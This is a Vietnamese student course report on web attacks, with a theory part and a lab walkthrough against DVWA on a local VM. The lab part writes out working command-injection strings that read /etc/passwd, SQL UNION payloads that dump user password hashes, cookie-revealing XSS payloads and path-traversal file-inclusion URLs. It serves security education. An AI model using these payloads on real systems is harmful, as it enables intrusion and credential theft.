TRƯỜNG ĐẠI HỌC XXX
----------------------KHOA CÔNG NGHỆ THÔNG TIN
BÀI BÁO CÁO MÔN HỌC
AN NINH MẠNG
TÌM HIỂU VÀ THỰC NGHIỆM VỀ
CÁC DẠNG TẤN CÔNG WEBSITE
Giảng viên hướng dẫn:
Nhóm thực hiện:
TP.Hồ Chí Minh, tháng 12 năm 2017
1
MỤC LỤC
PHẦN LÝ THUYẾT..........................................................................................................3
Chương 1: Giới thiệu về tấn công website......................................................................3
1.1.
Tổng quan về bảo mật web (Web security)........................................................3
1.2.
Lỗ hổng bảo mật................................................................................................3
1.3.
Cách tấn công website.......................................................................................4
Chương 2: Các dạng tấn công web.................................................................................7
2.1.
SQL Injection....................................................................................................7
2.2.
Cross-Site Request Forgery (CSRF)..................................................................7
2.3.
Cross-Site Scripting (XSS)................................................................................8
2.4.
Tấn công từ chối dịch vụ (DDOS)...................................................................11
2.5.
File Inclusion...................................................................................................12
2.6.
Command Injection.........................................................................................12
Chương 3: Công cụ triển khai các dạng tấn công web..................................................13
3.1.
Damn Vulnerable Web Application.................................................................13
PHẦN THỰC NGHIỆM..................................................................................................14
1. Mô tả, yêu cầu........................................................................................................14
2. Thực nghiệm..........................................................................................................14
2.1.
Command injection với DVWA security ở mức “low”....................................14
2.2.
Command injection với DVWA security ở mức “medium”.............................16
2.3.
Command injection với DVWA security ở mức “high”...................................17
2.4.
SQL injection với DVWA security ở mức “low”.............................................18
2.5.
XSS stored.......................................................................................................20
2.6.
Local file inclusion với DVWA security ở mức “low”....................................21
2.7.
Local file inclusion với DVWA security ở mức “medium”.............................22
2.8.
Local file inclusion với DVWA security ở mức “high”...................................23
2.9.
Remote file inclusion với DVWA security mức “low”....................................24
2.10.
Remote file inclusion với DVWA security mức “medium”..........................25
2.11.
Cross-site request forgery với DVWA security mức “low”..........................26
2
PHẦN KẾT LUẬN..........................................................................................................29
1. Đã đạt được............................................................................................................29
2. Chưa đạt được........................................................................................................29
3
PHẦN LÝ THUYẾT
Chương 1: Giới thiệu về tấn công website
1.1.
Tổng quan về bảo mật web (Web security)
Hiện nay, bảo mật thông tin đang là thách thức rất lớn đổi với các nhà nghiên
cứu chuyên gia trong ngành, bởi các lỗ hổng và phương thức khai thác lỗ hổng
ngày càng phức tạp và tinh vi.
Theo khảo sát, hơn 90% các ứng dụng web và website tồn tại các lỗ hổng an
ninh, khoảng 75% các cuộc tấn công mạng được thực hiện thông qua ứng dụng
web hoặc thông qua website. Các trang web mục tiêu không bị ảnh hưởng trực tiếp
bởi các cuộc tấn công làm cho các cuộc tấn công khó có thể bị phát hiện và cảnh
báo. Theo Imperva, chiến dịch đang tiếp diễn và các hacker đang tiếp tục tìm kiếm
và nhắm vào các website có nhiều lỗ hỗng. Trong tháng 2 – 2016, hacker đã đột
nhập vào trang web chính thức của Linux Mint và âm thầm cài backdoor của họ
vào các bản phiên bản của hệ điều hành cho hàng ngàn người sử dụng mà không
hề hay biết. Vào tháng 10 – 2015, hacker đã chiếm hữu hàng ngàn website được
xây dựng bởi nền tảng thương mại điện tử Magento eBay thông qua lỗ hổng zeroday và lạm dụng chúng để phân phối các phần mềm độc hại đến người dùng.
Hầu hết các công ty đã đảm bảo dữ liệu của họ ở mức độ mạng, nhưng đã bỏ qua
các bước quan trọng của việc bảo đảm các ứng dụng web. Website hoàn toàn
không được bảo vệ bởi tường lửa và do đó dễ dàng làm mồi cho những kẻ tấn
công.
1.2.
Lỗ hổng bảo mật.
1.2.1. Lỗ hổng bảo mật
Lỗ hổng bảo mật là các điểm yếu trên website, có thể gây ra do: lỗi cấu hình,
phân quyền cho website, lỗi lập trình của người lập trình, lỗi nằm trong các hệ
thống, thành phần tích hợp.
Tin tặc có thể lợi dụng các lỗ hổng này để khai thác và tấn công phá hoại
website. Lỗ hổng bảo mật rất khó để nhận biết ngay, cần được thực hiện bởi
các chuyên gia hàng đầu.
1.2.2. Phân loại lỗ hổng bảo mật
Có nhiều tổ chức khác nhau tiến hành phân loại các dạng lỗ hổng đặc biêt.
Theo cách phân loại của Bộ quốc phòng Mỹ, các loại lỗ hổng bảo mật trên một
hệ thống được chia như sau:
Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương thức
tấn công theo DoS (Dinal of Services – Từ chối dịch vụ). Mức độ nguy
hiểm thấp, chỉ ảnh hưởng tới chất lượng dịch vụ, có thể làm ngưng trệ, gián
đoạn hệ thống; không làm phá hỏng dữ liệu hoặc đạt được quyền truy nhập
bất hợp pháp.
Lổ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm các quyền
trên hệ thống mà không cần thực hiện kiểm tra tính hợp lệ. Mức độ nguy
4
hiểm trung bình; Những lỗ hổng này thường có trong các ứng dụng trên hệ
thống; có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật.
Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể
truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm
phá hủy toàn bộ hệ thống.
Dự án mở về an ninh ứng dụng web OWASP đã phân loại 10 lỗ hổng ứng dụng
web phổ biến và nguy hiểm nhất hiện nay gồm:
A1- Nhúng mã (Injection)
A2- Xác thực hay quản lý phiên thiếu chính xác
A3- Thực thi mã Script xấu (XSS)
A4- Đối tƣợng tham chiếu không an toàn
A5- Sai sót trong cấu hình an ninh
A6- Lộ dữ liệu nhạy cảm
A7- Điều khiển truy cập mức chức năng không an toàn
A8- Tấn công giả mạo (CSRF);
A9- Sử dụng thành phần chứa lỗ hổng đã công khai
A10- Chuyển huớng và chuyển tiếp không an toàn
1.3.
Cách tấn công website.
Với 1 hacker, quá trình tấn công 1 mục tiêu có thể được khái quát 3 giai đoạn:
Giai đoạn 1: Thu thập thông tin
Giai đoạn 2: Phân tích và hành động
Giai đoạn 3: Dừng và xóa dấu vết
Hình 1: Các giai đoạn tấn công
Ở đây sẽ tập trung vào phân tích giai đoạn 1 và giai đoạn 2.
Giai đoạn 1: Khảo sát ứng ứng dụng Web
5
Gai đoạn 2: Tấn công mục tiêu
1.3.1. Giai đoạn 1: Khảo sát ứng ứng Web
Tiến hành thu thập thông tin ở mức trên về hạ tầng của mục tiêu:
Thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình của
các Web server, các client nào sẽ tương tác với ứng dụng Web, kiểu giao
tiếp thông tin (stranport) và thông qua các cổng (port) nào, những site liên
quan đến việc thực hiện chức năng của site mục tiêu.
Tiếp đó khảo sát ứng dụng Web:
Một trong những phương pháp khảo sát khá phổ biến, đó là xem mã nguồn
và lợi dụng các lỗi cho phép xem mã nguồn các ngôn ngữ Web như Active
Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server
(CFM), Hypertext Preprocessor (PHP).
Sử dụng một số phép thử như thêm dấu ‘ vào các url theo khuôn dạng
truyền vào giá trị rất phổ biến, đưa vào những mẫu thử cở bản của form xác
thực đăng nhập để khảo sát các lỗi SQL Injection.
Đưa vào các thông tin “lạ” ở các form ứng dụng Web hay trên url để
xem các thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi.
Các thông báo lỗi thường tiết lộ các chi tiết kỹ thuật, dựa vào đó có thể
biết được điểm yếu của hệ thống.
Sử dụng các công cụ để đưa các trang Web mục tiêu vào do tìm các lỗi
của người phát triển ứng dụng để từ đố xây dựng nên kịch bản tấn công
và chọn cách tấn công cụ thể.
Tìm hiểu sâu về các chức năng của ứng dụng Web. Tìm hiểu các thực
hiện của các phần trong ứng dụng, đặc biệt như các order input,
confimation, order tracking.
Tìm hiểu luồng di chuyển của thông tin. Các thông tin tương tác giữa
client và server, các thông tin trương tác với database. Hiện nay việc
viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được
tính hiệu quả (nhanh) và bảo mật (có thể sẽ chậm hơn). Thường thì tính
hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi, các hacker có
thể lợi dụng các lỗi này để đoạt quyền điều khiển hệ thống.
1.3.2. Giai đoạn 2: Tấn công mục tiêu
Việc thu thập thông là vấn đề quan trọng cho việc tấn công vào một hệ thống
máy mục tiêu. Cho dù hacker tấn công theo phương diện phần cứng hay qua
ứng dụng thì việc thu thâp vẫn cần thiết.
Sau khi đã khảo sát và thu thập thông tin mục tiêu, hacker bắt đầu thực hiện tấn
công nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành
quyền kiểm soát. Có thể không cần phải đi theo thứ tự hay qua hết những bước
này, nhưng việc nắm rõ thông tin của máy mục tiêu luôn là điều kiện tiên quyết
để dẫn đến thành công trong việc tấn công. Tùy vào thông tin thu thập được mà
6
hacker sẽ quyết địnnh tấn công theo kỹ thuật nào, xây dựng một kịch bản tấn
công phù hợp.
Một số kịch bản tấn công:
Tấn công đồng loạt các trang thông tin điện tử, làm thay đổi nội dung, đưa
thông tin sai lệch.
Tấn công vào các ứng dụng Web mua bán, giao dịch để đánh cấp thông tin
cá nhân, thẻ tín dụng.
Tấn công ứng dụng Web, đặt mã độc tại trang Web, sử dụng máy chủ bị lỗi
để thực hiện hành vi tấn công khác.
Mục đích tấn công cơ bản trên Web:
Mục đích chính trị: tấn công các trang thuộc chính phủ, thành phố, các ban
ngành.
Mục đích lợi nhuận: các trang thương mại điện tử, tài chính, ngân hàng.
Mục đích cá nhân.
Nếu không thành công trong việc xâm nhập bằng các kỹ thuật phổ biến, thì
Dos là cách thức mà hacker thường lựa chọn để làm cho hệ thống không thể
hoạt động được.
Do đó, việc bảo mật cho mọt hệ thống cần đòi hỏi sự kết hợp không chỉ của
riêng nhà quản trị hệ thống mà còn của nhà thiết kế ứng dụng và sự hợp tác của
những khách hàng thường sử dụng.
7
Chương 2: Các dạng tấn công web
2.1.
SQL Injection
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của
việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ
quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất
hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao
tác, delete, insert, update, v.v. Trên cơ sở dữ liệu của ứng dụng, thậm chí là server
mà ứng dụng đó đang chạy. SQL injection thường được biết đến như là một vật
trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ
quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...
Một số dạng tấn công thường gặp với các ứng dụng web
2.1.1. Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập
nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng
dụng web. Thông thường để cho phép người dùng truy cập vào các trang web
được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người
dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập
thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay
không để quyết định cho phép hay từ chối thực hiện tiếp
2.1.2. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các
trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin tìm
kiếm như Họ, Tên, …
2.1.3. Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng ký một tài khoản
để tham gia. Chức năng không thể thiếu là sau khi đăng ký thành công, người
dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được
dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
2.1.4. Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào
dạng: '; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện
lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ
thuộc vào câu lệnh đằng sau cmd.exe.
2.2.
Cross-Site Request Forgery (CSRF)
Cross-site Request Forgery (CSRF), XSRF nói đến việc tấn công vào chứng thực
request trên web thông qua việc sử dụng Cookies, nơi mà các hacker có khả năng
sử dụng thủ thuật để tạo request mà bạn không hề biết. Vì vậy, một CSRF là
8
hacker lạm dụng sự tin tưởng của một ứng dụng web trên trình duyệt của nạn
nhân.
CSRF là một kiểu tấn công gây sự nhầm lẫn tăng tính xác thực và cấp quyền của
nạn nhân khi gửi một request giả mạo đến máy chủ. Vì thế một lỗ hổng CSRF ảnh
hưởng đến các quyền của người dùng ví dụ như quản trị viên, kết quả là chúng
truy cập được đầy đủ quyền.
Trong khi một tấn công CSRF trình duyệt của nạn nhân bị lừa để gửi đi các
request đến ứng dụng web theo mong muốn của kẻ tấn công, thông thường, ví dụ
một yêu cầu sẽ được gửi lên để thay đổi một vài dữ liệu phía server.
Khi gửi một request HTTP (hợp pháp hoặc cách khác), trình duyệt của nận nhân sẽ
bao gồm các tiêu đề cookie. Các cookie thường được dùng để lưu trữ một session
để định danh người dùng không phải xác thực lại cho mỗi yêu cầu gửi lên, điều
này hiển nhiên là không thực tế.
Nếu phiên làm việc đã xác thực của nạn nhân được lưu trữ trong một Cookie vẫn
còn hiệu lực (một cửa sổ trình duyệt không nhất thiết phải mở), và nếu ứng dụng
dễ bị tấn công CSRF, kẻ tấn công có thể thử dụng CSRF để chay bất cứ yêu cầu
nào với trang web mà trang web không thể phân biệt được request nào là hợp pháp
hay không.
2.3.
Cross-Site Scripting (XSS)
XSS là một kiểu tấn công cho phép hacker chèn những đoạn script độc hại vào
website ,và chúng được thực thi ở người dùng(trên trình duyệt của người
dùng).Khi trình duyệt của victims thực thi những đoạn script độc hại đó,chúng sẽ
gửi cho hacker những thông tin của victims qua email hoặc server.
Phân loại: Có 3 loại Reflected XSS, Stored XSS và DOM-based XSS
2.3.1. Reflected XSS (Non-Persistent)
Reflected XSS là dạng tấn công thường gặp nhất trong các loại hình XSS. Với
Reflected XSS, hacker không gửi dữ liệu độc hại lên server nạn nhân mà gửi
trực tiếp link có chứa mã độc cho người dùng, khi người dùng click vào link
này thì trang web sẽ được load chung với các đoạn script độc hại. Reflected
XSS thường dùng để ăn cắp cookie, chiếm session, … của nạn nhân hoặc cài
keylogger, trojan,… vào máy tính nạn nhân.
9
Hình 2: Sơ đồ hoạt động của XSS Reflected
Như hình trên ta thấy, khi nạn nhân đăng nhập vào một ứng dụng web, attacker
sẽ gửi thẳng một URL để khai thác thông tin tới nạn nhân, nạn nhân truy cập
URL của attacker tới server sau đó nhận phản hồi từ server kèm với đoạn mã
độc của attacker. Khi đoạn mã độc được thực thi trên trình duyệt của nạn nhân,
session của người dùng sẽ được gửi tới attacker. Attacker dựa vào thông tin
nhận được trong session để chiếm quyền và giả mạo nạn nhân.
2.3.2. Stored XSS (Persistent XSS)
Stored XSS là dạng tấn công mà hacker chèn trực tiếp các mã độc vào cơ sở dữ
liệu của website. Dạng tấn công này xảy ra khi các dữ liệu được gửi lên server
không được kiểm tra kỹ lưỡng mà lưu trực tiếp vào cơ sở dữ liệu. Khi người
dùng truy cập vào trang web này thì những đoạn script độc hại sẽ được thực thi
chung với quá trình load trang web.
10
Hình 3: Sơ đồ hoạt động của XSS Stored
Như trên hình ta thấy, attacker sẽ tiến hành gửi tới server một nội dung kèm mã
độc, khi nạn nhân đăng nhập và truy cập vào nội dung chứa mã độc thì server
sẽ phản hồi kèm với mã độc của hacker, nạn nhân nhận được phản hồi của
server thì tiến hành thực thi trên trình duyệt và gửi phiên làm việc tới attacker.
Từ đó hacker sẽ có được thông tin như tên đăng nhập, password, … và chiếm
session của nạn nhân.
2.3.3. DOM-based XSS
DOM-based XSS là một dạng tấn công XXS làm thay đổi cấu trúc cảu một
trang web bằng cách thay đổi cấu trúc HTML. Đối với dạng tấn công này,
hacker sẽ chèn các đoạn script nhằm làm thay đổi giao diện mặc định của trang
web thành giao diện giả, ví dụ như tạo ra form đăng nhập giả và dụ người dùng
đăng nhập để chiếm mật khẩu của họ.
DOM-based XSS là một biến thể của Persistent XSS và Non-Persistent XSS.
11
Hình 4: Sơ đồ hoạt động của XSS Dom-based
Như hình trên ta thấy rằng, khi nạn nhân đăng nhập vào ứng dụng web,
attacker sẽ gửi tới nạn nhân URL chữa đoạn javaScript, nạn nhân gửi yêu cầu
truy cập tới server và nhận phản hồi từ server trang web chữa mã của attacker.
Khi trình duyệt sử lí phản hồi từ server, trình duyệt sẽ gửi thông tin session cho
attacker từ đó attacker chiếm được session của nạn nhân.
2.4.
Tấn công từ chối dịch vụ (DDOS)
Tấn công từ chối dịch vụ phân tán (DDoS - Distributed Denial Of Service) là kiểu
tấn công làm cho hệ thống máy tính hay hệ thống mạng quá tải, không thể cung
cấp dịch vụ hoặc phải dừng hoạt động. Trong các cuộc tấn công DDoS, máy chủ
dịch vụ sẽ bị "ngập" bởi hàng loạt các lệnh truy cập từ lượng kết nối khổng lồ. Khi
số lệnh truy cập quá lớn, máy chủ sẽ quá tải và không còn khả năng xử lý các yêu
cầu. Hậu quả là người dùng không thể truy cập vào các dịch vụ trên các trang web
bị tấn công DdoS.
Hình 5: Sơ đồ hoạt động của DDOS
12
2.5.
File Inclusion
File inclusion attack là kỹ thuật khai thác dựa trên lỗi include file trong PHP, nó
được chia thành 2 loại:
Local file inclusion
Là kỹ thuật chèn 1 file local vào hệ thống, nếu khai thác được lỗi này attcker
có thể xem được rất nhiều thông tin của server victim như các file: passwd,
http.còn, php.ini, access_log … tùy theo mức độ bảo mật của server
Remote file inclusion
Là một lỗi mà attacker chèn đoạn mã độc của chúng (như file uploader hay
shells) vào 1 webpage nạn nhân. Web server của webpage đó sẽ hiểu và hiển
thị theo đoạn script mà attacker chèn vào. Khi đó attacker có thể kiểm soát
server.
Trong lập trình PHP có lệnh là include, require, require _ once, include _ once cho
phép file hiện tại gọi đến một file khác.
Tùy thuộc vào mức độ bảo mật của server, kẻ tấn công có thể include file trên
chính máy chủ đó (include local) hay include đến một file ở máy khác (include
remote). Mục đích của kẻ tấn công là chạy được các hàm hệ thống và thu thập các
thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn công có thể đạt được
khi chạy được web shell (hay còn gọi là web hack tool) như c99shell, r57shell, …
2.6.
Command Injection
Command Injection xuất hiện ở các nội dung website, có cung cấp chức năng cụ
thể thực thi các câu lệnh hệ thống nhằm mục đích phục vụ người dùng đầu cuối.
Tấn công command injection là khả năng chèn nội dung câu lệnh hệ thống vào
phần input ứng dụng và thực thi được các câu lệnh đó ngoài phạm vi kiểm soát của
ứng dụng từ kẻ xấu tấn công lỗ hổng command injection trên ứng dụng web.
13
Chương 3: Công cụ triển khai các dạng tấn công web
3.1.
Damn Vulnerable Web Application
Damn Vulnerable Web Application (DVWA) là một ứng dụng mã nguồn
PHP/MySQL tập hợp sẵn các lỗi logic về bảo mật ứng dụng web trong mã nguồn
PHP. Lỗi logic khi lập trình có thể áp dụng đối với các loại ngôn ngữ lập trình
nhằm giảm thiểu khả năng tạo ra lổ hổng bảo mật từ tư duy lập trình chưa cẩn
thận.
Mục tiêu chính của DVWA đó là tạo ra một môi trường thực hành hợp pháp. Giúp
cho các nhà phát triển ứng dụng web hiểu hơn về hoạt động lập trình an toàn và
bảo mật hơn. Bên cạnh đó DVWA cũng cung cấp cho các pentester phương pháp
học và thực hành tấn công khai thác lỗi bảo mật ứng dụng web ở mức cơ bản và
nâng cao.
DVWA có những nhóm lổ hổng bảo mật như sau:
Brute Force
Command Execution
Cross Site Request Forgery (CSRF)
File Inclusion
SQL Injection
Insecure File Upload
Cross Site Scripting (XSS)
Easter eggs
Các mức độ bảo mật trong DVWA:
DVWA cung cấp 3 mức độ bảo mật tương ứng 3 level để bạn thực hành từ dễ cho
đến khó gồm :
High - mức cao nhất: Level này gần như là level dùng để so sánh mã nguồn có
lổ hổng ở mức low và medium với mã nguồn đã được tối ưu ở mức an toàn bảo
mật.
Medium - mức trung bình: Mức độ này cung cấp nội dung logic code đã fix lổ
hổng cơ bản ở hạng mục mức low.
Low - mức độ thấp nhất: Với mức độ low thì mã nguồn PHP gân như phơi bày
khả năng khai thác lổ hổng qua tư duy lập trình chưa bao quát vấn đề bảo mật.
Đối với mỗi trang thực hành bảo mật sẽ luôn có nút view source. Nút này được sử
dụng để xem nội dung source code của các mức bảo mật ứng mổi hạng mục, để từ
đó bạn có thể so sánh, đánh giá lý do tại sao mã nguồn này lại phơi bày ra lổ hổng
bảo mật như vậy.
14
PHẦN THỰC NGHIỆM
1. Mô tả, yêu cầu
Máy tính cài phần mềm Vmware, cài 1 máy ảo Kali Linux 64 bit với những thông
số sau:
Địa chỉ IP: 192.168.139.2
Cài đặt:
o Ứng dụng mã nguồn mở DVWA
o Apache2
o Mysql
o Php
2. Thực nghiệm
Sau khi cài đặt xong dvwa sẽ có giao diện như sau:
2.1. Command injection với DVWA security ở mức “low”
Kịch bản: Attacker dựa vào lỗ hổng Command injection của website để xem
file etc/passwd.
B1: Cài đặt DVWA security ở mức “low”
B2: Ở mục command injection, server sẽ thực hiện đúng khi người dùng nhập
vào một địa chỉ ip.
15
Nhập vào Enter an IP address: 8.8.4.4 rồi nhấn submit cho ra kết quả như hình:
Trong trường hợp 1 attacker muốn xem file etc/passwd của server
B3: Nhập vào trường Enter an IP address: cat /etc/passwd thì server sẽ không
hiển thị thông tin gì.
B4: Nhập vào trường Enter an IP address: 8.8.4.4 ; cat /etc/passwd, Server sẽ
hiển thị file etc/passwd.
2.2. Command injection với DVWA security ở mức “medium”
Kịch bản: Xem đường dẫn của file đang thực thi.
16
B1: Cài đặt DVWA security ở mức “medium”
B2: Nhập vào Enter an IP address: index.php | pwd rồi nhấn submit.
B3: Nhập vào Enter an IP address: exec || ls rồi nhấn submit.
B4: Nhập vào Enter an IP address: exec & ifconfig rồi nhấn submit.
17
2.3. Command injection với DVWA security ở mức “high”
Kịch bản: Attacker xem đường dẫn của file đang thực thi.
B1: Cài đặt DVWA security ở mức “high”
Nhập vào Enter an IP address: 8.8.8.8|pwd rồi nhấn submit.
2.4. SQL injection với DVWA security ở mức “low”
Kịch bản: Attacker lợi dụng lỗ hổng SQL injection của website để lấy được
thông tin người dùng trong database.
18
B1: Ở mục SQL injection, server sẽ thực hiện đúng khi người dùng nhập vào 1
UserID, trong trường hợp này các UserID nằm từ 15
Hình 6: Tấn công SQL injection
Trong trường hợp attacker muốn đọc dữ liệu trong database
B2:Kiểm tra số cột tồn tại trong database, nhập vào trường User ID: 3' order by
1 # và 3' order by 2 #
Khi nhập vào trường User ID: 3' order by 3 #
Server sẽ báo lỗi!
Kết luận: Database có 2 cột
B3: Truy xuất thông tin database, nhập vào trường User ID: 3' union all select
1,database()# để xem tên database là: dvwa
Nhập vào trường User ID: 3' union all select version(),user()# để xem version
của database là: 10.1.26-MariaDB-1 và user của database là: dvwa_admin
19
B4: Liệt kê danh sách các bảng có trong database, nhập vào trường User ID: 3'
union all select 1,table_name from information_schema.tables #
B5: Liệt kê các cột trong bảng “users”, nhập vào trường User ID: 3' union all
select 1,group_concat(column_name) from information_schema.columns
where table_name='users'#
B6: Truy xuất username và password trong bảng user, nhập vào trường User
ID: 3' union all select 1,group_concat(user,password) from users #
Kết quả cho ra 1 chuỗi:
admin5f4dcc3b5aa765d61d8327deb882cf99,gordonbe99a18c428cb38d5f2608
53678922e03,13378d3533d75ae2c3966d7e0d4fcc69216b,pablo0d107d09f5bb
e40cade3de5c71e9e9b7,smithy5f4dcc3b5aa765d61d8327deb882cf99
20
Kết luận:
Username
admin
gordonb
1337
pablo
Password
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
pablo0d107d09f5bbe40cade3de5c71e9e9b
7
smithy
5f4dcc3b5aa765d61d8327deb882cf99
2.5. XSS reflected với DVWA security mức “low”
Kịch bản: Attacker lợi dụng lỗ hổng XSS reflectef để lấy thông tin chứng thực
của người dùng trong cookie.
Trong mục XSS reflected, nhập vào khung What’s your name? đoạn mã:
<script>alert(document.cookie)</script>
Hộp thoại hiện ra chứa thông tin chứng thực trong cookie.
2.6. XSS reflected với DVWA security mức “medium” và “high”
Kịch bản: Attacker lợi dụng lỗ hổng XSS reflectef để lấy thông tin chứng thực
của người dùng trong cookie.
Trong mục XSS reflected, nhập vào khung What’s your name? đoạn mã:
<svg onload=prompt(document.cookie)>
21
2.7. XSS stored với DVWA security mức “low”
Kịch bản: Thông qua lỗ hổng không kiểm tra kỹ dữ liệu đầu vào trước khi lưu
vào database ở trang XXS( Stored), thực hiện chèn đoạn mã độc vào database
của website.
B1: Chèn vào đoạn mã độc: <script>alert(“Hacker chao ban!”)</script>
B2: Kết quả: mỗi lần user truy cập vô trang XSS (Stored) đều bị lỗi hiện bảng
thông báo “Hacker chao ban!!!!”.
22
2.8. XSS stored với DVWA security mức “medium”
B1: Chèn vào đoạn mã độc: <script lenguaje="javascript">alert("Hacker chao
ban")</script>
B2: Kết quả là mỗi lần user truy cập vô trang XSS (Stored) đều bị lỗi hiện
bảng thông báo “Hacker chao ban!!!!”.
2.9. Local file inclusion với DVWA security ở mức “low”
Kịch bản: Attacker lợi dụng lỗ hổng local file inclusion để xem được file
etc/passwd.
B1: Server sẽ thực hiện đúng khi ta click vào file1.php, file2.php, file3.php
23
Để ý vào đường dẫn ở đầu trang sẽ thay đổi khi click vào file1.php, file2.php
B2: Ở đây, nếu attacker muốn xem file etc/password của server thì có thể tấn
công như sau:
Thư mục lưu trữ file trên server là: /var/ww/html/dvwa/vulnerabilities/fi/
Để đi tới được thư mục etc/password thì phải trở về thư mục / (Vì etc và var
cùng nằm trong thư mục /). Như vậy để tới được thư mục etc, ta phải trở ra thư
mục ngoài 6 lần:
Ta có đường dẫn như sau: ../../../../../../etc/passwd
Để xem file etc/passwd, attacker sẽ nhập đường dẫn sau:
http://192.168.139.2/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
Như vậy attacker đã tấn công và xem được file etc/passwd dựa vào lỗ hổng của
website.
24
2.10. Local file inclusion với DVWA security ở mức “medium”
Kịch bản: Attacker lợi dụng lỗ hổng local file inclusion để xem được file
etc/passwd.
Thư mục lưu trữ file trên server là: /var/ww/html/dvwa/vulnerabilities/fi/
Để đi tới được thư mục etc/password thì phải trở về thư mục / (Vì etc và var
cùng nằm trong thư mục /). Như vậy để tới được thư mục etc, ta phải trở ra thư
mục ngoài 6 lần:
Ta có đường dẫn như sau: ..././..././..././..././..././..././etc/passwd
B2: Để xem file etc/passwd, attacker sẽ nhập đường dẫn sau:
http://192.168.139.2/dvwa/vulnerabilities/fi/?
page=..././..././..././..././..././..././etc/passwd
Như vậy attacker đã tấn công và xem được file etc/passwd dựa vào lỗ hổng của
website.
2.11. Local file inclusion với DVWA security ở mức “high”
Kịch bản: Attacker dựa vào lỗ hổng local file inclusion của website để xem file
etc/passwd.
URL có dạng:
http://192.168.139.2/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
2.12. Remote file inclusion với DVWA security mức “low”
Kịch bản: Attacker dựa vào lỗ hổng website để thay đổi giao diện của trang
web.
B1: Tạo 1 file .html có nội dung:
25